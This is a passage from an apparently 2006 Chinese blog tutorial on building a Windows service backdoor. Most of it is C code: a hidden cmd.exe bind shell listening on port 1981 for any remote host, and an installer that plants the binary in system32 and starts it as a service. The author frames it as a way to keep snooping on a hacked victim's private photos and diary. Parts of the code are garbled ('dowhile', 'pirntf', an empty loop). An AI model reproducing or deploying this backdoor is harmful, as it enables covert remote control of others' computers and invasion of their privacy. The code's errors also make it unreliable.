0;<br>&nbsp;ServiceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp; = 0;</font></p><p><font color="#0000ff">&nbsp;WaitForSingleObject(hEvent, INFINITE);</font></p><p><font color="#0000ff">&nbsp;CloseHandle(hThread);<br>&nbsp;ExitThread(dwThreadId);<br>&nbsp;CloseHandle(hEvent);</font></p><p><font color="#0000ff">&nbsp;return;<br>}</font></p><p>　　上面我们调用了一个服务控制函数BDHandler()，由于只是简单的介绍，我们这里只处理服务停止控制请求的情况，其它暂停、恢复等功能，读者可以自己完善。下面是对BDHandler()的实现代码：<br><font color="#0000ff">void WINAPI BDHandler(DWORD dwControl)<br>{<br>&nbsp;switch(dwControl)<br>&nbsp;{<br>&nbsp;case SERVICE_CONTROL_STOP:<br>//等待后门程序的停止<br>&nbsp;&nbsp;ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;<br>&nbsp;&nbsp;ServiceStatus.dwCheckPoint&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;ServiceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;SetServiceStatus(ServiceStatusHandle, &amp;ServiceStatus);<br>//设时间为激发状态，等待下一个事件的到来<br>&nbsp;&nbsp;SetEvent(hEvent);<br>&nbsp;&nbsp;<br>&nbsp;&nbsp;ServiceStatus.dwCurrentState = SERVICE_STOP;<br>&nbsp;&nbsp;ServiceStatus.dwCheckPoint&nbsp;&nbsp; = 0;<br>&nbsp;&nbsp;ServiceStatus.dwWaitHint&nbsp;&nbsp;&nbsp;&nbsp; = 0;<br>//停止<br>&nbsp;&nbsp;SetServiceStatus(ServiceStatusHandle, &amp;ServiceStatus);<br>&nbsp;&nbsp;break;<br>&nbsp;<br>&nbsp;default:<br>&nbsp;&nbsp;break;<br>&nbsp;}<br>}</font></p><p>　
　服务控制函数搞定了，下面就剩下主体的后门函数了。本程序借用了N多前辈翻写过了无数次的后门程序，通过开一个端口监听，允许任何与该端口连接的远程主
机建立信任连接，并提供一个交互式Shell。为了代码清晰，我去掉了错误检查，整个过程很简单，也就不多解释了，黑防上都有N期介绍了，代码如下：<br><font color="#0000ff">DWORD WINAPI MainFn(LPVOID lpParam)<br>{<br>&nbsp;WSADATA WSAData;<br>&nbsp;struct sockaddr_in RemoteAddr;<br>&nbsp;DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;<br>&nbsp;PROCESS_INFORMATION processinfo;<br>&nbsp;STARTUPINFO startinfo;<br>&nbsp;<br>&nbsp;WSAStartup(MAKEWORD(2,2),&amp;WSAData);<br>&nbsp;ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br>&nbsp;RemoteAddr.sin_family = AF_INET;<br>&nbsp;RemoteAddr.sin_port = htons(1981);&nbsp; //监听端口<br>&nbsp;RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;<br>&nbsp;<br>&nbsp;bind(ServerSocket,(LPSOCKADDR)&amp;RemoteAddr,sizeof(RemoteAddr));<br>&nbsp;listen(ServerSocket, 2);<br>&nbsp;<br>&nbsp;varA = 0;<br>&nbsp;varB = 0;<br>&nbsp;CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &amp;dwThreadIdA);<br>&nbsp;CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &amp;dwThreadIdB);<br>&nbsp;<br>&nbsp;dowhile((varA || varB) == 0);<br>&nbsp;<br>&nbsp;GetStartupInfo(&amp;startinfo);<br>&nbsp;startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;<br>&nbsp;startinfo.hStdInput = hReadPipe;<br>&nbsp;startinfo.hStdError = hWritePipe;<br>&nbsp;startinfo.hStdOutput = hWritePipe;<br>&nbsp;startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口</font></p><p><font color="#0000ff">&nbsp;char szAPP[256];<br>&nbsp;GetSystemDirectory(szAPP,MAX_PATH+1);<br>&nbsp;<br>&nbsp;&nbsp;strcat(szAPP,"</font><a href="file://cmd.exe/" _base_target="_blank"><font color="#0000ff">cmd.exe</font></a><font color="#0000ff">");<br>//开cmd进程<br>&nbsp;&nbsp;if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, <br>&nbsp;&nbsp;&nbsp;NULL, NULL, &amp;startinfo, &amp;processinfo) == 0)<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;printf ("CreateProcess Error!n");<br>&nbsp;&nbsp;&nbsp;return -1;<br>&nbsp;&nbsp;}<br>&nbsp;<br>&nbsp;while (true) <br>&nbsp;{<br>&nbsp;&nbsp;ClientSocket = accept(ServerSocket, NULL, NULL);<br>&nbsp;&nbsp;Sleep(250);<br>&nbsp;}</font></p><p><font color="#0000ff">&nbsp;return 0;<br>}</font></p><p><font color="#0000ff">//线程函数A, 通过管道A来从控制端接受输入，然后写入被控制端输入端<br>DWORD WINAPI ThreadFuncA( LPVOID lpParam )<br>{<br>&nbsp;SECURITY_ATTRIBUTES pipeattr;<br>&nbsp;DWORD nByteToWrite, nByteWritten;<br>&nbsp;char recv_buff[1024];<br>&nbsp;<br>&nbsp;pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);<br>&nbsp;pipeattr.lpSecurityDescriptor = NULL;<br>&nbsp;pipeattr.bInheritHandle = TRUE;<br>&nbsp;CreatePipe(&amp;hReadPipe,<br>&nbsp;&nbsp;&amp;hWriteFile,<br>&nbsp;&nbsp;&amp;pipeattr,<br>&nbsp;&nbsp;0);<br>&nbsp;<br>&nbsp;varA = 1;<br>&nbsp;while(true)<br>&nbsp;{<br>&nbsp;&nbsp;Sleep(250);<br>&nbsp;&nbsp;nByteToWrite = recv(ClientSocket,<br>&nbsp;&nbsp;&nbsp;recv_buff,<br>&nbsp;&nbsp;&nbsp;1024,<br>&nbsp;&nbsp;&nbsp;0);<br>&nbsp;&nbsp;printf("%sn", recv_buff);<br>&nbsp;&nbsp;WriteFile(hWriteFile,<br>&nbsp;&nbsp;&nbsp;recv_buff,<br>&nbsp;&nbsp;&nbsp;nByteToWrite,<br>&nbsp;&nbsp;&nbsp;&amp;nByteWritten,<br>&nbsp;&nbsp;&nbsp;NULL);<br>&nbsp;}<br>&nbsp;return 0;<br>}</font></p><p><font color="#0000ff">//线程函数B, 通过管道B来从被控制端接受输入，然后写到控制端输出端<br>DWORD WINAPI ThreadFuncB( LPVOID lpParam )<br>{<br>&nbsp;SECURITY_ATTRIBUTES pipeattr;<br>&nbsp;DWORD len;<br>&nbsp;char send_buff[25000];<br>&nbsp;<br>&nbsp;pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);<br>&nbsp;pipeattr.lpSecurityDescriptor = NULL;<br>&nbsp;pipeattr.bInheritHandle = TRUE;<br>&nbsp;<br>&nbsp;CreatePipe(&amp;hReadFile,<br>&nbsp;&nbsp;&amp;hWritePipe,<br>&nbsp;&nbsp;&amp;pipeattr,<br>&nbsp;&nbsp;0);<br>&nbsp;<br>&nbsp;varB = 1;<br>&nbsp;while (true)<br>&nbsp;<br>&nbsp;return 0;<br>}</font></p><p>　
　在我们成功入侵目标MM主机后，看了MM的照片，读了MM的日记……此处省略恶行30条。在拍屁股走人之前，怎么也要留个后门，方便下次继续看新的照
片，继续读MM的小秘密（呵呵，大家不要误会，我从来不干这种事D）。那后门怎么留？我们上面写的都是主体部分，还没安装呢。安装服务的部分其实很简单，
示例代码如下：<br><font color="#0000ff">//&nbsp;InstallService.cpp<br>void main()<br>{<br>SC_HANDLE hSCManager = NULL,&nbsp; //服务控制管理器句柄<br>&nbsp;hService = NULL;&nbsp;&nbsp;&nbsp;&nbsp; //服务句柄<br>&nbsp;char szSysPath[MAX_PATH]=, <br>szExePath[MAX_PATH]=;&nbsp;&nbsp; //我们要把我们后台执行的程序放在这里，一般就是在</font><a href="file://admin$system32/" _base_target="_blank"><font color="#0000ff">admin$system32</font></a><font color="#0000ff">里，隐蔽性高</font></p><p><font color="#0000ff">&nbsp;if ((hSCManager = OpenSCManager(NULL,&nbsp; //NULL表明是本地主机 <br>NULL, // 要打开的服务控制管理数据库，默认为空<br>SC_MANAGER_CREATE_SERVICE//创建权限<br>))==NULL)<br>&nbsp;{<br>&nbsp;&nbsp;pirntf("OpenSCManager failedn");<br>&nbsp;&nbsp;return;<br>&nbsp;}<br>&nbsp;<br>&nbsp;GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录，也就是system32里面，隐蔽起来<br>&nbsp;strcpy(szExePath, szSysPath);<br>&nbsp;strcat(szExePath, "scuhkr.exe");&nbsp; //应用程序绝对路径</font></p><p><font color="#0000ff">&nbsp;if ((hService=CreateService(hSCManager,&nbsp; //指向服务控制管理数据库的句柄<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"scuhkr",&nbsp;&nbsp;&nbsp; //服务名<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"scuhkr backdoor service", //显示用的服务名<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_ALL_ACCESS, //所有访问权限<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_WIN32_OWN_PROCESS, //私有类型<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SERVICE_DEMAND_START,
//自启动类型&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
SERVICE_ERROR_IGNORE, //忽略错误处理<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;szExePath,&nbsp; //应用程序路径<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL)) == NULL)<br>&nbsp;{<br>&nbsp;&nbsp;printf("%dn", GetLastError());<br>&nbsp;&nbsp;&nbsp;return;<br>&nbsp;}</font></p><p><font color="#0000ff">//让服务马上运行。万一是个服务器，10天半个月不重启，岂不是没搞头？<br>&nbsp;if(StartService(hService, 0, NULL) == FALSE)<br>&nbsp;{&nbsp;<br>&nbsp;&nbsp;printf("StartService failed: %dn", GetLastError());<br>&nbsp;&nbsp;return;<br>&nbsp;}<br>&nbsp;printf(“Install service successfullyn ”);<br>&nbsp;CloseServiceHandle(hService);&nbsp; //关闭服务句柄<br>&nbsp;CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄<br>}</font></p><p>&nbsp;
　Ok，一切都写完了，我们在本机上测试一下，先把前面的服务主体程序Scuhkr.exe拷贝到系统目录system32下（如果需要程序自动实现自拷
贝的，可以通过CopyFile()来实现，具体怎么做偶就不讲了，相信聪明的你三下五除二就能搞定，确实不行就去找WinShell的源代码来看看
吧），然后执行InstallServcie.exe。为了看我们是否安装成功，有两个办法，一是通过控制面板-&gt;管理工具-&gt;服务，二是利
用控制台下系统自带的Sc.exe工具，比如：“sc.exe qc rpcss”，如图2所示。看到安装服务的信息了？是不是很简单呢！</p><p align="center"><img title="服务级后门自己做" style="border: 1px solid black;" src="http://img.zol.com.cn/article/4/954/lindECOT375TE.jpg" alt="" _base_target="_blank"><br>&nbsp;<br>图2</p><p>　　至于以后不想再要这个MM的肉鸡了，又不想留下把柄什么的，要删除服务怎么办？读者就自己当做练习吧。还有一点要说的是，本人也是临时抱佛脚，狂啃了几天关于NT系统服务方面的编程，如果有什么不对，欢迎大家批评指正！</p></div>
<img src ="http://www.cppblog.com/duke/aggbug/3359.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/duke/" target="_blank">暴雪狂沙</a> 2006-02-21 09:37 <a href="http://www.cppblog.com/duke/articles/3359.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>